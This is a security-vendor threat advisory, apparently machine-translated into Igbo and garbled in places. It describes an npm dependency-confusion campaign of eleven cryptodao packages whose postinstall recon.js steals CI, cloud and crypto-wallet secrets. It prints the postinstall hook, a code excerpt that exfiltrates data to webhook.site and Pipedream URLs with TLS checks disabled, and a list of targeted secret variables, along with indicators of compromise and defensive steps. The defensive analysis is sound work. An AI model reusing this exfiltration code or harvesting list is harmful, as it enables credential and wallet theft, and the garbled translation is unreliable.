Mgbagwoju anya CryptoDAO: Ngwugwu npm owuwe ihe ubi CI/CD na Nzuzo Crypto

Mgbagwoju anya CryptoDAO: ngwugwu npm iri na otu, otu ibu ọrụ, owuwe ihe ubi CI/CD na ihe nzuzo nke obere akpa ego crypto

TL; DR

Na 2026-06-17, e bipụtara otu akaụntụ npm otu ugboro ngwugwu iri na otu nke nwere otu ebumnuche na otu ibu ọrụIri n'ime ha nwere cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); nke iri na otu bụ nke a na-enyocha @public-for-cdao/coreE bipụtara nke ọ bụla na ụdị 99.99.99 ma na-ebufe otu byte yiri recon.js nke na-aga n'ihu postinstall.

Aha ndị a bụ ihe a na-akọ. Ha dị ka ihe owuwu dị n'ime nke ngwaọrụ ọrụ crypto/DAO nkeonwe. Ebipụtara ha na ndekọ npm ọha na eze na ụdị dị elu nke e ji aka rụọ, ha na-eche ka e wuo ha. pipeline nke a haziri iji dozie aha ndị ahụ ma ruo n'ọha npm tupu — ma ọ bụ kama — ndekọ nkeonwe. Nke a bụ mgbagwoju anya nke ịdabere, a na-ahazikwa ibu ọrụ ahụ kpọmkwem ebe ọ na-atụ anya ịda: CI/CD ndị ọgba ọsọ.

Mgbe ole postinstall ọkụ, recon.js na-anakọta nkọwa onye ọbịa, na-enyocha ihe niile mgbanwe gburugburu ebe obibi ígwé ojii iri anọ, CI, na obere akpa ego crypto, na-agụ ihe ọ bụla .env faịlụ ọ nwere ike ịchọta ma ziga ahịrị ndị zoro ezo n'ụzọ doro anya, wee ziga ngwugwu ahụ na ndị nchịkọta abụọ - webhook.site na njedebe Pipedream — nke nwere nkwenye asambodo TLS agbanyụrụ. E dekwara otu n'okpuru /tmp.

Ogo: eluUsoro gburugburu ebe obibi ndị metụtara: npmNgwugwu iri na otu niile dị ndụ n'oge a na-ede ihe a.

Mmebi ahụ mwakpo

Usoro a nwere akụkụ anọ na-agagharị agagharị, ọ dịghịkwa nke dị nro ozugbo ị maara. lee otu oyi akwa gafere aha ngwugwu ahụ.

1. Mbufe ọnụ ahịa nke ụdị dị ka ihe na-akpata nsogbu. Ngwugwu ọ bụla na-ekwupụta ụdị ya 99.99.99Mgbagha ịdabere na onye njikwa ngwugwu na-arụ ọrụ mgbe onye njikwa ngwugwu rịọrọ maka aha dị n'ime, na-enyochakwa ndekọ ọha ma họrọ ụdị kachasị elu ya chọta. Nhọrọ ndabara npm maka usoro kareti ma ọ bụ wildcard bụ ụdị kachasị afọ ojuju n'ofe isi mmalite ọ bụla ahaziri; ọ bụrụ na ha abụọ bụ nkeonwe Ndebanye aha na npm ọha maka otu aha ahụ, ọnụọgụ ụdị buru ibu na-emeri. A 99.99.99 ọ karịrị ụdị dị n'ime nke ọrụ ọ bụla ga-enwe ruru, yabụ onye na-edozi nsogbu nke na-anaghị etinye na isi mmalite nkeonwe na-ahọrọ ọha — ma n'okwu a, onye iro — otu. Onye na-arụ ọrụ ahụ achọghị ịma nọmba ụdị nke ihe mgbaru ọsọ ahụ; ịhọrọ oke kachasị na-enweghị isi na-emesi ike na njikọ ahụ na-aga n'ihu mgbe niile na-emebi ụzọ ha.

2. Ihe mkpali mgbe nrụnye gasịrị. ngwugwu.json na-eziga ibu ọrụ ahụ na ntinye ahụ okirikiri ndụ:

{   "scripts": { "postinstall": "node recon.js" } }

Achọghị mbubata nke ngwugwu ahụ. Naanị itinye ya — nke bụ CI pipeline na-arụ ọrụ na akpaghị aka - na-agba ọsọ recon.js.

3. Nzube nzuzo sara mbara. recon.js na-achịkọta usoro nsonaazụ n'usoro nkebi:

  • Ọnọdụ onye ọbịa: aha onye ọbịa, ikpo okwu na ntọhapụ, usoro ụlọ, aha njirimara, ọrụ ndekọ.
  • Mgbanwe gburugburu ebe obibi: ọ na-eme ka ndepụta edobere nke ihe dị ka aha na ndekọ iri anọ pụta ìhè nke ọ bụla edobere. Ndepụta ahụ na-ekpughe ihe — ọ na-ejikọ akara CI nkịtị (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) na ígwé ojii nzere (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) na ihe nzuzo ndekọ na akpa (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) na otu ìgwè nke nwere ụtọ crypto nke ọma:  PRIVATE_KEY, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCA na-ebelata uru ndị e dekọrọ ka ha bụrụ mkpụrụedemede iri ise mbụ.
  • .nke faịlụ: ọ na-enyocha ndepụta nke ụzọ — .nke, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /mgbọrọgwụ/.env, na .mmepụta/.mmepe ụdịdị dị iche iche - na maka faịlụ ọ bụla dị, ọ na-enyocha ọdịnaya ahụ gaa na ahịrị ndị dabara adaba IKPEAZỤ|NCHEZO|AKARA|GAFE|NKE ONWE|MNEMONIC ma tinye ahịrị ndị ahụ **n'uju, n'enweghị nsogbu** ​​n'ime nsonaazụ ahụ.
  • Nhazi nke onye na-akwado ụlọ: ọ depụtara ntinye 20 mbụ nke /na-ewu/, /ụlọ/gitlab-runner/ewuli/, /var/lib/gitlab-runner/, na /tmp/.

A na-atụnye ndepụta ụzọ na ndepụta mgbanwe n'ebe ndị na-agba ọsọ GitLab nọ, nke na-egosi ibu ọrụ ahụ kpọmkwem na akụrụngwa CI nke onwe ya na-akwado kama ịbụ onye nrụpụta Kọmpịta. Ịhakọta ndepụta owuwe ihe ubi site n'otu ngalaba na-eme ka ihe a chọrọ ibu dị mfe:

Category A na-enweta mgbanwe / ụzọ ndị dị iche iche
CI/CD njirimara na itinye CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Ndekọ na akpa NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Ụlọ ahịa data DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto/blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Izi ozi SLACK_TOKEN, DISCORD_TOKEN
N'elu diski .env ezinụlọ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ndepụta ndekọ nke /builds/, /var/lib/gitlab-runner/

Mkpọkọ crypto bụ akụkụ nke na-eme ka nke a dị iche na nzuzo CI nkịtị. sweep: ahịrịokwu mkpụrụ akpa ego na igodo ịbanye aka na-apụta naanị na gburugburu ebe obibi ọrụ blockchain, ha na-egosikwa ozugbo na ọrụ ahụ. cryptodao-/ịrịba ama/contracts ịkpọ aha ndị na-ebu ya.

4. Mkpọpụ ihe abụọ na-eme ka a ghara ime nyocha. Nchịkọta a na-anakọta bụ e tinyere n'usoro ma zipụ ya ebe abụọ:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

jụrụAnaghị enye ikike: ụgha gbanyụọ nlele asambodo TLS maka ọpụpụ Oku. A na-ebipụta otu data ahụ na stdout (ya mere ọ na-adabakwa na ndekọ ọrụ CI) na e dere ya /tmp/.npm_recon_ .jsonA na-elo njehie n'enweghị nchekwube, yabụ a ozi dara ada anaghị ahapụ ihe ọ bụla na mmepụta nrụnye gafere otu [nkọwa] etinyere na akara.

Otu okwu dị mkpa n'ime faịlụ ahụ kọwara ya dị ka "Mgbagwoju anya nke ịdabere na ntụkwasị obi" Ibu ọrụ nyocha. "Mbelata nke uru gburugburu ebe obibi ruo mkpụrụedemede 50 nwere ọdịdị nke ihe akaebe nke echiche. Ihe na-eme ka ọ gafere ìhè ọnụnọ naanị bụ .nke njikwa: a na-eziga ahịrị ndị na-ebu nzuzo n'uju, ebe ndị a na-agakwa bụ mmadụ abụọ na-anakọta ihe, ndị na-awakpo na-achịkwa kama ịbụ sink nke dị naanị mkpa. Na-akụ.

usoro iheomume

Ụkpụrụ mbipụta bụ mbinye aka nke otu ntinye ederede, ọ bụghị iri na otu ebugote onwe ha.

Oge (UTC, 2026-06-17) omume
03:24:58 cryptodao-bot@99.99.99 bipụtara
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — ụdị scoped, ~ nkeji 24 ka e mesịrị

Ngwugwu iri pụtara n'ime windo nke sekọnd iri abụọ na itoolu, ihe dị ka otu n'ime sekọnd atọ ọ bụla. Ihe a na-enyocha @public-for-cdao/isi soro ihe dị ka nkeji iri abụọ na anọ mgbe nke ahụ gasịrị — otu sekọnd ịkpọ aha nkwekọrịta maka otu ebumnuche ahụ, ọ bụrụ na ọrụ a na-eri na-ezo aka na ya ngwaọrụ dị n'ime n'okpuru scope kama ịbụ aha efu.

Ihe ngosi nke nkwekọrịta

ụdị egosi
Onye nchịkọta hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Onye nchịkọta hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Wụnye nko postinstall: node recon.js
Faịlụ e wepụrụ /tmp/.npm_recon_<timestamp>.json
Ihe nrịbama osisi [recon] <pkg>@<ver> installed on <hostname> (stdout na ndekọ CI)
Omume rejectUnauthorized: false na HTTPS na-apụ apụ mgbe etinyere ya
Loadkwụ ụgwọ recon.js, otu ihe ahụ n'ime ngwugwu iri na otu niile (otu ihe e kenyere)
version 99.99.99 na ngwugwu ọ bụla
nchịkọta cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ha niile) 99.99.99)
nkwusa aduljune / aduljune@proton.me (email enyochabeghị, enweghị ebe nchekwa njikọ)

 Ngosipụta na omume a hụrụ

Ihe niile gbasara otu ahụ na-egosi otu aka. E bipụtara ngwugwu iri na otu niile. site na akaụntụ npm aduljune (aduljune@proton.me, adreesị a na-anaghị enyocha nke na-enweghị ebe nchekwa isi iyi njikọ), n'ime nkeji iri abụọ na ise, n'otu oge ahụ 99.99.99 mbipute, na-ebufe a recon.js onye ọdịnaya ya bụ byte-for-byte otu n'ofe nke ọ bụla ngwugwu (MD5 dakọtara na mbipụta iri na otu niile ewepụtara). Nke ahụ bụ otu ibu ọrụ. e tinyere akara n'ime ndepụta aha, ọ bụghị iji koodu onwe ya mee ihe ọzọ.

Ndepụta aha na-akọwa ihe mgbaru ọsọ e zubere. cryptodao-* na cdao kọwaa nhazi modulu nkeonwe nke ọrụ crypto/DAO, yana ndepụta owuwe ihe ubi nke ibu ọrụ enyo ndị na-eche echiche: tinyere ihe nzuzo CI na ígwé ojii, ọ bụ kpọmkwem eru maka PRIVATE_KEY, MNEMONIK, SEED_PHRASE, na Ethereum/BSC RPC na igodo onye na-enye ọrụ. .nke Ụzọ ọchụchọ na ndepụta ndekọ bụ GitLab-runner nke a na-ahụ anya bụ na ihe ọ bụla a na-ahụ anya bụ na pipeline aghọgbula itinye ndị a aha ga-eziga akara CI ya, igodo igwe ojii ya, na diski ya .nke ihe nzuzo - na, maka ọrụ blockchain, ihe eji akpa ego ya — nye ndị na-anakọta ihe abụọ nke atọ.

Anyị anaghị ekwu maka onye na-arụ ọrụ akaụntụ ahụ ma ọ bụ ihe ha zubere ime na ya data. Eziokwu ndị na-eguzo n'onwe ha: aha ndị a lekwasịrị anya n'otu ụdị ngwaọrụ dị n'ime, ibu ọrụ na-agụ ma na-ebuga ezigbo ụkpụrụ nzuzo, na akụrụngwa dị ndụ.

Mmetụta, usoro, na nduzi onye na-agbachitere

Mgbagwoju anya dabere na-adị irè n'ihi na ọ na-eji omume mkpebi eme ihe, ọ bụghị adịghị ike na ngwugwu ọ bụla. Ihe na-ebuga ebe a dị obere — iri na otu dị ihe dị ka efu ngwugwu - mana radius mgbawa ahụ bụ ihe ọ bụla pipeline na-ahọrọ npm ọha na eze n'amaghị ama maka aha dị n'ime. Ndị na-agba ọsọ CI bụ ebe kacha njọ maka nke ahụ ime: ha na-ejide ya kpọmkwem ihe ịrịba ama na .nke faịlụ ndị a na-agụ, ha na-etinyekwa ha ndabere na-abụghị mmekọrịta, yabụ a nrụnye mgbe etinyere na-agba ọsọ n'enweghị onye na-ekiri ya.

Klọsta a dabara n'ụkpụrụ anyị na-ahụ mgbe niile: ibu ọrụ oge nrụnye nke na-egosi dị ka "nnyocha" ma ọ bụ "nnyocha" mgbe ị na-eme ezigbo nchịkọta asambodo. na faịlụ ahụ anaghị agbanwe ihe koodu ahụ na-eme na onye na-agba ọsọ. Nhọrọ nhazi abụọ na-anọgide ihe omume ahụ dị jụụ: a na-ekechi ọrụ netwọkụ na sistemụ faịlụ ọ bụla na onye njikwa ihe nke na-atụfu njehie, yabụ izipu mkpọchi ma ọ bụ faịlụ furu efu anaghị emepụta ihe nchọpụta ọ bụla, naanị ihe e biri bụ otu ihe na-adịghị emerụ ahụ [recon] ... arụnyere ahịrị nke na-agwakọta na mkparịta ụka nrụnye nkịtị. Ojiji nke webhook.saịtị na Pipedream bụkwa ihe dị mfe ime - ha abụọ bụ n'efu. enyere ọrụ ngwa ngwa maka ijide arịrịọ, yabụ onye ọrụ achọghị sava nke nke ha na ebe ndị a na-aga dị ka aha nnabata SaaS nkịtị na ndekọ egress.

Ọnọdụ akụnụba bụ ihe mere nke a ji baa uru maka onye na-agbachitere n'agbanyeghị na Koodu onye na-ebu ozi abụghị ihe dị mfe. Ịdebanye aha iri na otu anaghị efu ihe ọ bụla, ibu ọrụ ahụ bụ otu E depụtaghachiri faịlụ ahụ ugboro iri na otu, onye njikwa ngwugwu ahụ na-emekwa ihe niile e mere. adabaghị pipeline ebe ọ bụla na-eri otu n'ime aha ndị a na-akwụ ụgwọ maka ihe niile ime ihe.

Nzọụkwụ siri ike maka ndị na-agbachitere:

  • Tinye ihe ndị dị n'ime na ndekọ nkeonwe gị. Hazie npm ka aha dị n'ime
     na scopes na-edozi naanị megide ndekọ gị (mappings ndekọ .npmrc,
    ma ọ bụ onye nnọchiteanya nke na-adịghị abanye na npm ọha maka oghere aha nkeonwe). Debe aha nyocha ọha gị ka onye ọzọ ghara ịdenye aha ha.
  • Commit mkpọchi faịlụ ma wụnye ya na –ignore-scripts na CI ebe o kwere omume, ma ọ bụ nyochaa obere ihe ndị dị mkpa nke chọrọ n'ezie edemede nrụnye.  recon.js agaghị agba ọsọ ma ọ bụrụ nrụnye mgbe etinyere a naghị eme ya.
  • Jiri ụdị aha dị n'ime mee ihe dịka 99.99.99 (ma ọ bụ nke ọzọ dị elu) nke aha dị n'ime dị ka ọkọlọtọ uhie na nyocha ịdabere na nlekota ndekọ.
  • Ịdọ aka ná ntị gbasara mwepụta oge nrụnye. A nrụnye mgbe etinyere nke na-emepe HTTPS na-apụ apụ njikọ — ọkachasị mgbe emechiri nkwenye asambodo — na webhook.site, Pipedream, ma ọ bụ ọrụ njide arịrịọ yiri ya kwesịrị igbochi n'ọnụ netwọk ma gosi na ndekọ nrụpụta.
  • Chọọ ihe ochie. Lelee ndị na-agba ọsọ maka /tmp/.npm_recon_*.json na maka [recon] ... arụnyere na ... ihe nrịbama na ndekọ CI ọhụrụ. Ọ bụrụ na achọtara ya, tụgharịa nke ọ bụla nkwenye e gosipụtara na nke ahụ pipeline — Ihe nrịbama CI, igodo igwe ojii, ihe nrịbama ndekọ, na mkpụrụ obere akpa ma ọ bụ igodo nzuzo ọ bụla dị na gburugburu ebe obibi ma ọ bụ faịlụ .env.

References

Enweghị akụkọ mpụga gbasara otu a n'oge edere ya; nyocha ahụ; dị n'elu dabere kpọmkwem na ọdịnaya ngwugwu ebipụtara

ngwaọrụ nyocha sca-ngwaọrụ-ngwanrọ-nchịkọta-ngwaọrụ nyocha
Mee ka ihe egwu dị na ngwanrọ gị buo ibu, dozie ya, ma chekwaa ya
Nweta Akaụntụ N'efu gị.
Enweghị kaadị akwụmụgwọ achọrọ.

Chekwaa mmepe na nnyefe ngwanrọ gị

ya na Xygeni Product Suite